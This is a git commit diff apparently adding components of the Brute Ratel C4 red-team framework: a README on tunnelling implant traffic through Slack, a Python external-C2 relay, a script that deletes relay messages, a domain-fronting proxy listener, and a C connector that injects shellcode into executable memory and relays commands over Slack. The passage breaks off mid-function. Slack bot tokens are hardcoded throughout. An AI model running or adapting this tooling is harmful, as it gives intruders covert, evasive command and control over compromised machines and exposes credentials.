commit c0db112be3040d4be82081502d3940b202130f44 Author: i2p Date: Thu Aug 27 11:22:43 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..c6404f7 Binary files /dev/null and b/.DS_Store differ diff --git a/BruteRatel-v2.1.2/Brute Ratel EULA.pdf b/BruteRatel-v2.1.2/Brute Ratel EULA.pdf new file mode 100644 index 0000000..87d4396 Binary files /dev/null and b/BruteRatel-v2.1.2/Brute Ratel EULA.pdf differ diff --git a/BruteRatel-v2.1.2/Brute-Ratel-Docs.pdf b/BruteRatel-v2.1.2/Brute-Ratel-Docs.pdf new file mode 100644 index 0000000..0c73e1d Binary files /dev/null and b/BruteRatel-v2.1.2/Brute-Ratel-Docs.pdf differ diff --git a/BruteRatel-v2.1.2/adaptiveC2/README.md b/BruteRatel-v2.1.2/adaptiveC2/README.md new file mode 100644 index 0000000..973a05f --- /dev/null +++ b/BruteRatel-v2.1.2/adaptiveC2/README.md @@ -0,0 +1,75 @@ +# NOTES - READ BEFORE DIGGING INTO SLACK EXTERNAL C2 +The core logic behind using an external C2 is to hide your payload output inside legitimate network traffic. This can be done in numerous ways using fronted domains, Dns Over Https or known redirectors such as aws/azure. However sometimes they are not enough. Sometimes you need something more subtle so that you can camouflage yourself into the + +1. SMB or TCP badgers can be used to interact with your External C2 Servers +2. The current example uses SMB badger which listens on the named pipe `\\.\pipe\mynamedpipe` which is fully configurable via badger's Payload Profile +3. All badgers return output which is encrypted and then encoded in base64 +4. In the current example, our aim is to write a connector which reads output from the named pipe and sends it as a the request to the External C2 Server +5. Once a request is sent, our connector will also have to receive a response from the External C2 Server and then forward it over the same named pipe to the badger +6. If there is no response received from the External C2 Server, then we have to send a single byte "" to our named pipe to let the named pipe know there is no response yet and then continue to listen on the named pipe +7. Badger will frequently connect and send a request on the named pipe every 2 second which is the default sleep cycle unless changed. +7. External C2 connectors and servers can be written in any language. The current example uses C language since it's easy to convert the connector to a PIC as explained in my blog [here](https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/) + + +## Slack C2 - Configuration + +1. Slack -> Build -> New App -> Name of the App. eg: AdaptiveC2 +2. Slack -> Build -> New App -> Name of the App. eg: BadgerApp +3. OAuth & Permissions -> Redirect URLs -> https://evasionlabs.com +4. OAuth & Permissions -> Scopes -> Bot Token Scopes -> + - app_mentions:read + - channels:history + - channels:read + - chat:write + - groups:history + - im:history + - im:read + - mpim:history + - mpim:read +5. Install to Workspace (generates OAuth Tokens automatically) +6. App Home -> Messages Tab -> Allow users to send Slash commands and messages from the messages tab +7. Event Subscriptsions -> Enable -> https://evasionlabs.com + - Activate via Challenge response + - Subscribe to bot events + - app_mentions + - message.channels + - message.groups + - message.im + - message.mpim + +## Slack Connector + +3. The output messages are encrypted and then base64 encoded before sending it across to the server or across pivot badgers (SMB and TCP) +4. This means when a badger sends a full message, it needs to be received in full by the Ratel Server. Ratel Server does not handle partial messages. If partial messages are received by the Ratel server, it cannot decode and decrypt the message +5. So, when using external C2, it is important to understand the limitation of your external c2 server and find out the maximum length of buffer it can accept +6. Slack accepts a maximum of `4000 bytes` per message, excluding the json parts [chat.postMessage](https://api.slack.com/methods/chat.postMessage) +7. So, we have to write a slack-connector which reads the full output msg from the badger. If the output size is >4000, split the buffer into chunks and send it across to our ListenerApp on slack.com + - Slack-connector will send the the first buffer for around `4000 bytes or less` and prepend it with a uniqueBuffer before sending it, which implies its a partial message. We will call this unique value as `partialMessageDetector` + - Upon receiving the first buffer, ListenerApp will return a `timestamp` for the first buffer + - Slack-connector will extract the `timestamp` from the response and store it in memory + - Slack-connector will send the remaining chunks of the output buffer in similar 4000 bytes or lower as replies to the first message. These replies will state that these buffers are part of the main message (first buffer) + - ListenerApp will store the main message and replies and forward them via callbacks to our External C2 connector `Adaptivec2.py` written in Python3 + - Adaptivec2 will receive the first message as the first callback and extract the `timestamp` and the buffer. If the message contains `partialMessageDetector`, it means there are more messages in the replies. It will store this message in a dictionary + - Subsequent callbacks received by the Adaptivec2 server from the ListenerApp will be used to identify the replies using `timestamp` and `partialMessageDetector` and append all of them as they are received + - After receiving every callback event, Adaptivec2 will also delete each of the replies as soon as they are received. + - If the final reply received by Adaptivec2 does not contain a `partialMessageDetector`, it means its the last part of the message + - Adaptivec2 will concatenate all of them and forward the message as a single buffer to our Ratel server. +7. The Ratel server will send a response back to Adaptivec2 +8. Adaptivec2 has to check if the response from the Ratel server is more than 4000 bytes. When commands like `sharpreflect`, `psreflect` or any shellcode/reflective DLLs are used, the buffer size is usually in kilobytes which is sent over the network +9. Adaptivec2 will check the buffer size, split it across into multiple chunks as messages and replies (similar to what the slack-connector did) and send it to our BadgerApp +10. The Slack-connector will send a https request to the BadgerApp and fetch the response. It will check if the response contains the same `partialMessageDetector` and start extract the replies similar to what the slack-connector did earlier. +11. Upon receipt of the final reply, it will concatenate all the messages, run the requested command and send a response back in the same way. + +### Badger Configuration - SMB Payload +1. Badger sends main post request buffer to Slack C2 App +2. Slack C2 App sends it to a Python3 Server +3. Python3 Server forwards the request to BRc4 and deletes the message from the Slack C2 App +4. BRc4 sends response a to Python3 Server +5. Python3 Server forwards the request to a Slack Badgers App +6. Badger also sends another request to fetch the latest slack messages from the Badgers App +7. Badger gets the json response and filters it with: + - starts with "text": "<@U039KRC46BS> + - U039KRC46BS is the Member ID of the Badger's App + - ends with double quotes + eg.: "text": "<@UB39KRC46B8> z6FVoM/jWEDXZdF2V427xsJ8pw3D0pcNK3ApkNOD/AceRj4vBoJdIQL1GKRXMB4H" +8. Badger deletes the messages in the Badger's App as per the `timestamp` (ts) of the message received above diff --git a/BruteRatel-v2.1.2/adaptiveC2/adaptiveC2.py b/BruteRatel-v2.1.2/adaptiveC2/adaptiveC2.py new file mode 100644 index 0000000..dda6aa2 --- /dev/null +++ b/BruteRatel-v2.1.2/adaptiveC2/adaptiveC2.py @@ -0,0 +1,230 @@ +#!/usr/bin/python3 + +from concurrent.futures import thread +import readline +import threading +from datetime import datetime +from http.server import HTTPServer, BaseHTTPRequestHandler +import ssl +import json +import base64 +import requests +import sys +import urllib3 +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) +from multiprocessing import Lock +from time import sleep +import base64 + +mutex = Lock() + +threadMessageStart = "start$" +threadMessageEnd = "$end" + +LHOST = "0.0.0.0" +LPORT = 443 +BADGER_APP_TOKEN = "Bearer xoxb-12345678-123456789-qAIcN8hBt0WgwRaJImILqM9j" +BADGER_APP_CHANNEL_ID = "D03AT6A4X9T" # click on the Apps name in the chats section and get the last value from the URL +BADGER_APP_MEMBER_ID = "U039KRC46BS" # click on the Apps name in the chats section and get the last value from the URL + +LISTENER_APP_TOKEN = "Bearer xoxb-2144924547920-3382587054001-2xPrUBj0D8yf0D5BNDPh3nwY" + +info = """ +Adaptive C2 v0.1 for Brute Ratel c4 +Author : Paranoid Ninja +""" + +usage = """ +Usage : adaptiveC2.py +Eg. : adaptiveC2.py /etc/letsencrypt/live/evasionlabs.com/fullchain.pem /etc/letsencrypt/live/evasionlabs.com/privkey.pem +""" + +threadList = [] + +def FetchFullMessage(channel, token, msg_ts): + t_threadDict = {} + fullBadgerMessage = "" + try: + requestUri = "https://slack.com/api/conversations.replies?channel=" + channel + "&ts=" + msg_ts # fetch all replies -> https://api.slack.com/methods/conversations.replies/ + response = requests.get(requestUri, headers={'Authorization': token}) + jdata = json.loads(response.text) + + for jsonMsg in jdata['messages']: # extract all timestamps from messages and align them as per their time received - { "messages": [ { 'ts': '' } ] } + if (jsonMsg['text'] != threadMessageEnd): + t_threadDict[jsonMsg['ts']] = jsonMsg['text'] + for key, value in sorted(t_threadDict.items()): # concatenate all the replies in chronological order + bufMsg = value.split(threadMessageStart) + if len(bufMsg) > 1: + fullBadgerMessage = fullBadgerMessage + bufMsg[1] + if fullBadgerMessage != "": + print("[+] Sending %d bytes" % len(fullBadgerMessage)) + LinkC2(fullBadgerMessage, channel, msg_ts) # send the message to ratel server + except Exception as ex: + print("[-] Exception reading replies:", ex) + +def DeleteMessageAndReplies(channel, token, msg_ts): + try: + requestUri = "https://slack.com/api/conversations.replies?channel=" + channel + "&ts=" + msg_ts + response = requests.get(requestUri, headers={'Authorization': token}) + jdata = json.loads(response.text) + replyCount = 0 + for reply in jdata['messages']: + replyCount += 1 + requestUri = "https://slack.com/api/chat.delete?channel="+ channel +"&ts=" + reply['ts'] + requests.get(requestUri, headers={'Authorization': token}) + sleep(0.5) # slack has a limitation of sending on 2 requests per second + print("[+] %d replies/msgs deleted" % replyCount) + requestUri = "https://slack.com/api/chat.delete?channel="+ channel +"&ts=" + msg_ts + requests.get(requestUri, headers={'Authorization': token}) + except Exception as ex: + print("[-] Exception while deleting message", ex) + +def LinkC2(badgerMsg, channel, msg_ts): + print("[+] ListenerApp Callback\n[+] Channel Id: %s\n[+] Msg ts: %s" % (channel, msg_ts)) + # DeleteMessageAndReplies(channel, LISTENER_APP_TOKEN, msg_ts) + + # send badger response to ratel server and recv the next command + try: + response = requests.post('https://127.0.0.1:10443/detail/0HG57J5JNDOE9CJLXJ0QAZ6Z74/ref=atv_hm_hom_c_7d0kid_2_1', data=badgerMsg, verify=False) + badgerCmd = response.text + # print("[+] Command Received From Ratel Server:", badgerCmd) + if len(badgerCmd) > 4000: + print("[+] Command received from Ratel Server:", len(badgerCmd) ,"bytes") + chunkSize = 3950 + chunks = [badgerCmd[i:i+chunkSize] for i in range(0, len(badgerCmd), chunkSize)] + print("[+] Chunk count:", len(chunks)) + chunck_ts = "" + # forward chunks to slack + for part in chunks: + t_msg = threadMessageStart + part + if chunck_ts == "": + response = requests.post('https://slack.com/api/chat.postMessage', json={'channel':BADGER_APP_CHANNEL_ID, 'text': "<@" + BADGER_APP_MEMBER_ID + "> "+ t_msg}, headers={'Authorization': BADGER_APP_TOKEN}) + if 'ts' in response.json() and 'channel' in response.json(): + chunck_ts = response.json()["ts"] + print("[+] Primary chunk forwarded to BadgerApp:", len(part)) + else: + print("[!] Error sending chunk:", response.json()) + else: + response = requests.post('https://slack.com/api/chat.postMessage', json={ 'thread_ts': chunck_ts ,'channel': BADGER_APP_CHANNEL_ID, 'text': "<@" + BADGER_APP_MEMBER_ID + "> "+ t_msg}, headers={'Authorization': BADGER_APP_TOKEN}) + if 'ts' in response.json() and 'channel' in response.json(): + print("[+] Chunk forwarded to BadgerApp:", len(part)) + else: + print("[!] Error sending command:", response.json()) + sleep(1) # slack has a limitation of sending on 2 requests per second + + # Send the final delimiter to specify the thread has ended + response = requests.post('https://slack.com/api/chat.postMessage', json={ 'thread_ts': chunck_ts ,'channel': BADGER_APP_CHANNEL_ID, 'text': "<@" + BADGER_APP_MEMBER_ID + "> "+ threadMessageEnd}, headers={'Authorization': BADGER_APP_TOKEN}) + if 'ts' in response.json() and 'channel' in response.json(): + print("[+] Thread ended") + else: + print("[!] Error sending chunk:", response.json()) + else: + # forward command to slack + response = requests.post('https://slack.com/api/chat.postMessage', json={'channel':BADGER_APP_CHANNEL_ID, 'text': "<@" + BADGER_APP_MEMBER_ID + "> "+ badgerCmd}, headers={'Authorization': BADGER_APP_TOKEN}) + if 'ts' in response.json() and 'channel' in response.json(): + print("[+] Callback forwarded to Brute Ratel Server") + else: + print("[!] Error sending command:", response.json()) + except Exception as ex: + print("[!] Exception:", ex) + +class AdaptiveC2Handler(BaseHTTPRequestHandler): + def _set_headers(self): + self.send_response(200) + self.send_header("Content-type", "text/html") + self.end_headers() + + def _html(self, message): + content = f"{message}" + return content.encode("utf8") + + def do_GET(self): + self._set_headers() + self.wfile.write(self._html("404 Not Found")) + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + print("[" + currtime + "] GET request from " + self.address_string()) + for x, y in self.headers.items(): + print(" - ", x, ": ", y ) + print("------------------------------------------------------------") + + def do_HEAD(self): + self._set_headers() + self.wfile.write(self._html("404 Not Found")) + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + print("[" + currtime + "] HEAD request from " + self.address_string()) + for x, y in self.headers.items(): + print(" - ", x, ": ", y ) + print("------------------------------------------------------------") + + def do_POST(self): + try: + postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8')).rstrip('\r\n\r\n\0') + jdata = json.loads(postData) + if "challenge" in jdata: + print("[*] Slack challenge received") + data = "challenge=" + jdata["challenge"] + self._set_headers() + self.wfile.write(self._html(data)) + return + elif "text" in jdata["event"]: + this_msg_ts = jdata["event"]["ts"] + channel = jdata["event"]["channel"] + badgerMsg = jdata["event"]["text"] + if "<@" in badgerMsg: + badgerMsg = " ".join(badgerMsg.split(" ")[1:]) + if threadMessageStart in badgerMsg and "thread_ts" not in jdata["event"]: # new thread message received, store the timestamp in a list for verifying it later + print("[+] New thread started:", this_msg_ts) + threadList.append(this_msg_ts) + elif "thread_ts" in jdata["event"] and threadMessageEnd in badgerMsg: + main_thread_ts = jdata["event"]["thread_ts"] + if (main_thread_ts in threadList): + threadList.remove(main_thread_ts) + print("[+] Thread closed:", main_thread_ts) + self._set_headers() + self.wfile.write(self._html("")) + print("------------------------------------------------------------") + newThread=threading.Thread(target=FetchFullMessage, args=(channel, LISTENER_APP_TOKEN, main_thread_ts)) + newThread.start() + return + else: + print("[+] Unknown msg:", this_msg_ts) + elif "thread_ts" in jdata["event"]: + main_thread_ts = jdata["event"]["thread_ts"] + print("[+] Thread reply received:", main_thread_ts +":" + this_msg_ts) + else: + print("[+] Full msg:", len(badgerMsg), "bytes") + self._set_headers() + self.wfile.write(self._html("")) + print("------------------------------------------------------------") + newThread=threading.Thread(target=LinkC2, args=(badgerMsg, channel, this_msg_ts)) + newThread.start() + return + + self._set_headers() + self.wfile.write(self._html("")) + print("------------------------------------------------------------") + # else: + # print(jdata, "\n") + except Exception as ex: + print("[-] Exception:", ex) + + def log_message(self, format, *args): + return + +def main(): + print(info) + if (len(sys.argv) < 3): + print(usage) + return + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + print(f"[+] {currtime} Starting Adaptive C2 Server on {LHOST}:{LPORT}") + server = HTTPServer((LHOST, LPORT), AdaptiveC2Handler) + server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[1], keyfile=sys.argv[2], server_side=True) + thread = threading.Thread(None, server.serve_forever) + thread.daemon = True + thread.start() + thread.join() + +if __name__ == "__main__": + main() + diff --git a/BruteRatel-v2.1.2/adaptiveC2/cleanAllMsgs.py b/BruteRatel-v2.1.2/adaptiveC2/cleanAllMsgs.py new file mode 100644 index 0000000..6e34009 --- /dev/null +++ b/BruteRatel-v2.1.2/adaptiveC2/cleanAllMsgs.py @@ -0,0 +1,81 @@ +#!/usr/bin/python3 + +from datetime import datetime +from http.server import HTTPServer, BaseHTTPRequestHandler +import json +from time import sleep +import requests +import urllib3 +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +# click on the Apps name in the chats section and get the last value from the URL to get the channel ID +APP_INFO_DICT = { + "D03AFAZC6B1": "Bearer xoxb-2144924547920-3382587054001-2xPrUBj0D8yf0D5BNDPh3nwY", # Listener + "D03AT6A4X9T": "Bearer xoxb-2144924547920-3393858142400-qEIcN8hBt0WgwRaJImILqMAj" # Commander +} + +def FetchFullMessage(channel, token, msg_ts): + threadMessageStart = "part$" + threadMessageEnd = "$end" + t_threadDict = {} + fullBadgerMessage = "" + try: + requestUri = "https://slack.com/api/conversations.replies?channel=" + channel + "&ts=" + msg_ts # fetch all replies -> https://api.slack.com/methods/conversations.replies/ + response = requests.get(requestUri, headers={'Authorization': token}) + jdata = json.loads(response.text) + for jsonMsg in jdata['messages']: # extract all timestamps from messages and align them as per their time received - { "messages": [ { 'ts': '' } ] } + if (jsonMsg['text'] != threadMessageEnd): + t_threadDict[jsonMsg['ts']] = jsonMsg['text'] + for key, value in sorted(t_threadDict.items()): # concatenate all the replies in chronological order + fullBadgerMessage = fullBadgerMessage + value.split(threadMessageStart)[1] + except Exception as ex: + print("[-] Exception reading replies:", ex) + print(fullBadgerMessage) + +def deleteMessageReplies(APP_CHANNEL_ID, APP_TOKEN, ts): + requestUri = "https://slack.com/api/conversations.replies?channel="+ APP_CHANNEL_ID +"&ts=" + ts + response = requests.get(requestUri, headers={'Authorization': APP_TOKEN}) + response = response.text + jdata = json.loads(response) + msgArray = [] + msgCount = 0 + for i in jdata['messages']: + msgArray.append(i['ts']) + msgCount+=1 + print("%d replies found" % msgCount) + + for thread_ts in msgArray: + requestUri = "https://slack.com/api/chat.delete?channel="+ APP_CHANNEL_ID +"&ts=" + thread_ts + requests.get(requestUri, headers={'Authorization': APP_TOKEN}) + sleep(0.5) + print("All threads deleted") + + +def main(): + print("[+] Checking abandoned messages") + for APP_CHANNEL_ID, APP_TOKEN in APP_INFO_DICT.items(): + try: + requestUri = "https://slack.com/api/conversations.history?channel="+ APP_CHANNEL_ID +"&pretty=1" + response = requests.get(requestUri, headers={'Authorization': APP_TOKEN}) + response = response.text + jdata = json.loads(response) + msgArray = [] + msgCount = 0 + for i in jdata['messages']: + msgArray.append(i['ts']) + msgCount+=1 + print("%d messages found" % msgCount) + + for ts in msgArray: + deleteMessageReplies(APP_CHANNEL_ID, APP_TOKEN, ts) + # delete the main message after deleting the replies + requestUri = "https://slack.com/api/chat.delete?channel="+ APP_CHANNEL_ID +"&ts=" + ts + response = requests.get(requestUri, headers={'Authorization': APP_TOKEN}) + print("All messages deleted") + + except Exception as ex: + print("[!] Exception sending msg:", ex) + +if __name__ == "__main__": + main() + # FetchFullMessage("D03AFAZC6B1", "Bearer xoxb-2144924547920-3382587054001-2xPrUBj0D8yf0D5BNDPh3nwY", "1651914125.900769") diff --git a/BruteRatel-v2.1.2/adaptiveC2/proxylistener.py b/BruteRatel-v2.1.2/adaptiveC2/proxylistener.py new file mode 100644 index 0000000..7f8c958 --- /dev/null +++ b/BruteRatel-v2.1.2/adaptiveC2/proxylistener.py @@ -0,0 +1,78 @@ +#!/usr/bin/python3 + +import threading +from datetime import datetime +from http.server import HTTPServer, BaseHTTPRequestHandler +import ssl +import sys +import requests +import urllib3 +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +LHOST = "0.0.0.0" +LPORT = 443 + +listener_bucket = { + "managedservices.azureedge.net": "8000", + "Amazon CloudFront": "9000", +} + +class Stager(BaseHTTPRequestHandler): + def _set_headers(self): + self.send_response(200) + self.send_header("Content-type", "text/html") + self.end_headers() + + def _html(self, message): + content = f"{message}" + return content.encode("utf8") + + def do_GET(self): + self._set_headers() + self.wfile.write(self._html("404 Not Found")) + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + print("[" + currtime + "] GET request from " + self.address_string()) + for x, y in self.headers.items(): + print(" - ", x, ": ", y ) + print("------------------------------------------------------------") + + def do_HEAD(self): + self._set_headers() + self.wfile.write(self._html("404 Not Found")) + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + print("[" + currtime + "] HEAD request from " + self.address_string()) + for x, y in self.headers.items(): + print(" - ", x, ": ", y ) + print("------------------------------------------------------------") + + def do_POST(self): + headerValue = "" + if 'X-Host' in self.headers: + headerValue = self.headers['X-Host'] + elif 'User-Agent' in self.headers: + headerValue = self.headers['User-Agent'] + if headerValue in listener_bucket: + print("Host Header [", headerValue, "] => routing to ", listener_bucket[headerValue]) + postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8')) + response = requests.post('https://localhost:' + listener_bucket[headerValue] + '/request', postData, self.headers, verify=False) + self._set_headers() + self.wfile.write(response.text) + + def log_message(self, format, *args): + return + +def main(): + if (len(sys.argv) < 3): + print("Usage:", sys.argv[0], " ") + return + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + print(f"[+] {currtime} Starting external c2 server on {LHOST}:{LPORT}") + server = HTTPServer((LHOST, LPORT), Stager) + server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[1], keyfile=sys.argv[2], server_side=True) + thread = threading.Thread(None, server.serve_forever) + thread.daemon = True + thread.start() + thread.join() + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/BruteRatel-v2.1.2/adaptiveC2/shellcode.h b/BruteRatel-v2.1.2/adaptiveC2/shellcode.h new file mode 100644 index 0000000..0f4555c --- /dev/null +++ b/BruteRatel-v2.1.2/adaptiveC2/shellcode.h @@ -0,0 +1,4 @@ +unsigned char badger_x64_smb_bin[] = { + // Enter your badger's SMB shellcode here +}; +unsigned int badger_x64_smb_bin_len = 0; // shellcode size diff --git a/BruteRatel-v2.1.2/adaptiveC2/slack-connector.c b/BruteRatel-v2.1.2/adaptiveC2/slack-connector.c new file mode 100644 index 0000000..96c6b3a --- /dev/null +++ b/BruteRatel-v2.1.2/adaptiveC2/slack-connector.c @@ -0,0 +1,524 @@ +#include +#include +#include +#include "shellcode.h" + +// __attribute__ ((section (".text"))) unsigned char theBlob[] = { +// 0x41,0x42,0x43 +// } + +struct BADGER_REQUEST_INFO { + CHAR* server; + CHAR* useragent; + CHAR* uri; + CHAR* postRequest; + CHAR* headerList[MAX_PATH]; + DWORD port; + int headerCount; +}; + +size_t task_strlen(CHAR* buf) { + size_t i = 0; + while (buf[i] != '\0') { + i++; + } + return i; +} + +void *task_memcpy(void *dest, const void *src, size_t len) { + char *d = dest; + const char *s = src; + while (len--) { + *d++ = *s++; + } + return dest; +} + +void *task_memset(void *dest, int val, size_t len) { + unsigned char *ptr = dest; + while (len-- > 0) { + *ptr++ = val; + } + return dest; +} + +char *task_strstr(char *string, char *substring) { + register char *a, *b; + b = substring; + if (*b == 0) { + return string; + } + for ( ; *string != 0; string += 1) { + if (*string != *b) { + continue; + } + a = string; + while (1) { + if (*b == 0) { + return string; + } + if (*a++ != *b++) { + break; + } + } + b = substring; + } + return NULL; +} + +char *task_search(char* start, char* end, char* string) { + CHAR* startBuff = task_strstr(string, start); + if (startBuff) { + startBuff = startBuff + task_strlen(start); + CHAR* endBuff = task_strstr(startBuff, end); + if (endBuff) { + int buffLength = endBuff - startBuff; + CHAR* foundString = (CHAR*)calloc(buffLength+1, sizeof(CHAR)); + task_memcpy(foundString, startBuff, buffLength); + return foundString; + } + } + return NULL; +} + +int task_strcmp(const char *p1, const char *p2) { + const unsigned char *s1 = (const unsigned char *) p1; + const unsigned char *s2 = (const unsigned char *) p2; + unsigned char c1, c2; + do { + c1 = (unsigned char) *s1++; + c2 = (unsigned char) *s2++; + if (c1 == '\0') { + return c1 - c2; + } + } + while (c1 == c2); + return c1 - c2; +} + +void execShellcode() { + DWORD lpThreadId = 0; + DWORD flOldProtect; + LPVOID shellcodeAlloc = VirtualAlloc(NULL, badger_x64_smb_bin_len, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); + task_memcpy(shellcodeAlloc, badger_x64_smb_bin, badger_x64_smb_bin_len); + VirtualProtect(shellcodeAlloc, badger_x64_smb_bin_len, PAGE_EXECUTE_READ, &flOldProtect); + CreateThread(NULL, 1024*1024, (LPTHREAD_START_ROUTINE)shellcodeAlloc, NULL, 0, &lpThreadId); + VirtualFree(shellcodeAlloc, 0, MEM_RELEASE); + Sleep(1000); // good to wait for a second before returning as the shellcode might take 200-500ms to start the named pipe +} + +HANDLE connectSMB(CHAR* smbPipeName) { + DWORD dwMode = PIPE_READMODE_BYTE | PIPE_WAIT; + HANDLE badgerNamedPipe = CreateFileA(smbPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH, NULL); + if (badgerNamedPipe == INVALID_HANDLE_VALUE) { + return NULL; + } + if (! SetNamedPipeHandleState(badgerNamedPipe, &dwMode, NULL, NULL)) { + CloseHandle(badgerNamedPipe); + return NULL; + } + return badgerNamedPipe; +} + +BOOL checkSuccess(CHAR* message) { + CHAR* isValid = task_search("\"ok\":true", ",", message); // check if the request was successful + if (isValid) { + free(isValid); + return TRUE; + } + return FALSE; +} + +CHAR* httpConnect(struct BADGER_REQUEST_INFO bgrReqInfo) { + // sends either GET or POST request to slack.com + HINTERNET b_Internet = NULL, b_HttpSession = NULL, b_HttpRequest = NULL; + DWORD SecFlag = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID; + CHAR* response = NULL; + BOOL httpSuccess = FALSE; + + if (b_Internet = InternetOpenA(bgrReqInfo.useragent, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0)) { + if ((b_HttpSession = InternetConnectA(b_Internet, bgrReqInfo.server, 443, 0, 0, INTERNET_SERVICE_HTTP, 0, 0))) { + if (bgrReqInfo.postRequest) { + b_HttpRequest = HttpOpenRequestA(b_HttpSession, "POST", bgrReqInfo.uri, 0, 0, 0, INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_COOKIES, 0); + } else { + b_HttpRequest = HttpOpenRequestA(b_HttpSession, "GET", bgrReqInfo.uri, 0, 0, 0, INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_COOKIES, 0); + } + if (b_HttpRequest) { + if (InternetSetOptionA(b_HttpRequest, INTERNET_OPTION_SECURITY_FLAGS, &SecFlag, sizeof(SecFlag))) { + for (int i = 0; i < bgrReqInfo.headerCount; i++) { + HttpAddRequestHeadersA(b_HttpRequest, bgrReqInfo.headerList[i], -1, HTTP_ADDREQ_FLAG_ADD); + } + if (bgrReqInfo.postRequest) { + httpSuccess = HttpSendRequestA(b_HttpRequest, 0, 0, bgrReqInfo.postRequest, task_strlen(bgrReqInfo.postRequest)); + } else { + httpSuccess = HttpSendRequestA(b_HttpRequest, 0, 0, NULL, 0); + } + if (httpSuccess) { + DWORD offset = 0; + while (TRUE) { + DWORD availabledSize = 0, buff_downloaded; + BOOL checkVal = InternetQueryDataAvailable(b_HttpRequest, &availabledSize, 0, 0); + if (!checkVal || availabledSize == 0) { + break; + } + + CHAR* tempbuff = (CHAR*)calloc(availabledSize+1, sizeof(CHAR)); + checkVal = InternetReadFile(b_HttpRequest, tempbuff, availabledSize, &buff_downloaded); + if (!checkVal || buff_downloaded == 0) { + free(tempbuff); + break; + } + DWORD newSizeOfBuff = offset + buff_downloaded + 1; // old + new = new size of buffer + response = (CHAR*)realloc(response, newSizeOfBuff); + task_memcpy(response+offset, tempbuff, buff_downloaded); + free(tempbuff); + tempbuff = NULL; + offset = offset + buff_downloaded; // old + new = new size of buffer + response[offset] = 0; + } + } + } + InternetCloseHandle(b_HttpRequest); + } + InternetCloseHandle(b_HttpSession); + } + InternetCloseHandle(b_Internet); + } + return response; +} + +CHAR* listenerAppPostMessage(CHAR* buffer, CHAR* thread_ts) { + struct BADGER_REQUEST_INFO bgrReqInfo = { 0 }; + bgrReqInfo.server = "slack.com"; + bgrReqInfo.useragent = "Mozilla"; // Use a valid useragent + bgrReqInfo.uri = "/api/chat.postMessage"; // Slack URI to send a message + bgrReqInfo.port = 443; + bgrReqInfo.headerList[0] = "Authorization: Bearer xoxb-2144924547920-3382587054001-2xPrUBj0D8yf0D5BNDPh3nwY\r\n"; // change the token to your Listener Channel's token + bgrReqInfo.headerList[1] = "Content-Type: application/json\r\n"; + bgrReqInfo.headerCount = 2; + + CHAR* postMsgStart = "{\"channel\": \"D03AFAZC6B1\", \"text\": \""; // change the channel name (D03AFAZC6B1) to your Listener Channel + CHAR* postMsgEnd = "\"}"; + CHAR* msgThreadTs = "\",\"thread_ts\":\""; // this is used for sending replies to messages in case the buffer is > 4000 (Slack limites a max msg buffer to 4000 chars) + CHAR* finalPostMsg = NULL; + + // building the json message + if (thread_ts) { // if thread_ts, send a reply in the thread instead of a new message + int finalssagesg = task_strlen(postMsgStart) + task_strlen(buffer) + task_strlen(msgThreadTs) + task_strlen(thread_ts) + task_strlen(postMsgEnd); + finalPostMsg = (CHAR*) calloc(finalssagesg+1, sizeof(CHAR)); + sprintf_s(finalPostMsg, finalssagesg+1, "%s%s%s%s%s", postMsgStart, buffer, msgThreadTs, thread_ts, postMsgEnd); + } else { // if !thread_ts, send a new message + int finalssagesg = task_strlen(postMsgStart) + task_strlen(buffer) + task_strlen(postMsgEnd); + finalPostMsg = (CHAR*) calloc(finalssagesg+1, sizeof(CHAR)); + sprintf_s(finalPostMsg, finalssagesg+1, "%s%s%s", postMsgStart, buffer, postMsgEnd); + } + + bgrReqInfo.postRequest = finalPostMsg; + CHAR *response = httpConnect(bgrReqInfo); + free(finalPostMsg); + return response; +} + +CHAR* extractFullCommandFromReply(struct BADGER_REQUEST_INFO bgrReqInfo, CHAR* timeStamp) { + printf("[DEBUG] Requesting full thread\n"); + CHAR* response = NULL; + CHAR* recvCommand = NULL; + CHAR* bgrCmd = NULL; + CHAR* slackURI = NULL; + CHAR* threadMessageStart = "start$"; + CHAR* threadMessageEnd = "$end"; + CHAR* cmdDelimiterStart = "\"text\":\"<@U039KRC46BS> "; // Add your BadgerApp Channel's User ID - used for command extraction + CHAR* replyURI = "/api/conversations.replies?channel=D03AT6A4X9T&ts="; // change the channel name (D03AT6A4X9T) to your BadgerApp Channel + int slackURILen = task_strlen(replyURI) + task_strlen(timeStamp); + slackURI = (CHAR*) calloc(slackURILen+1, sizeof(CHAR)); + sprintf_s(slackURI, slackURILen+1, "%s%s", replyURI, timeStamp); + bgrReqInfo.uri = slackURI; + + // Ratel server sends the responses in chunks of around 4000 bytes or less to the BadgerApp + // If we send a request while the chunks are still being uploaded, we might get only partial messages + // So, we will check if the replies contain threadMessageEnd, if it does, it means all replies are posted + while (TRUE) { + response = httpConnect(bgrReqInfo); + CHAR* isComplete = task_strstr(response, threadMessageEnd); + if (isComplete) { + printf("\n"); + break; + } + printf("."); + free(response); + response = NULL; + Sleep(2000); // cannot send more than 2 message per second - slack limitations + } + // printf("\n[DEBUG] response: %s\n", response); + + CHAR* searchOffset = task_strstr(response, 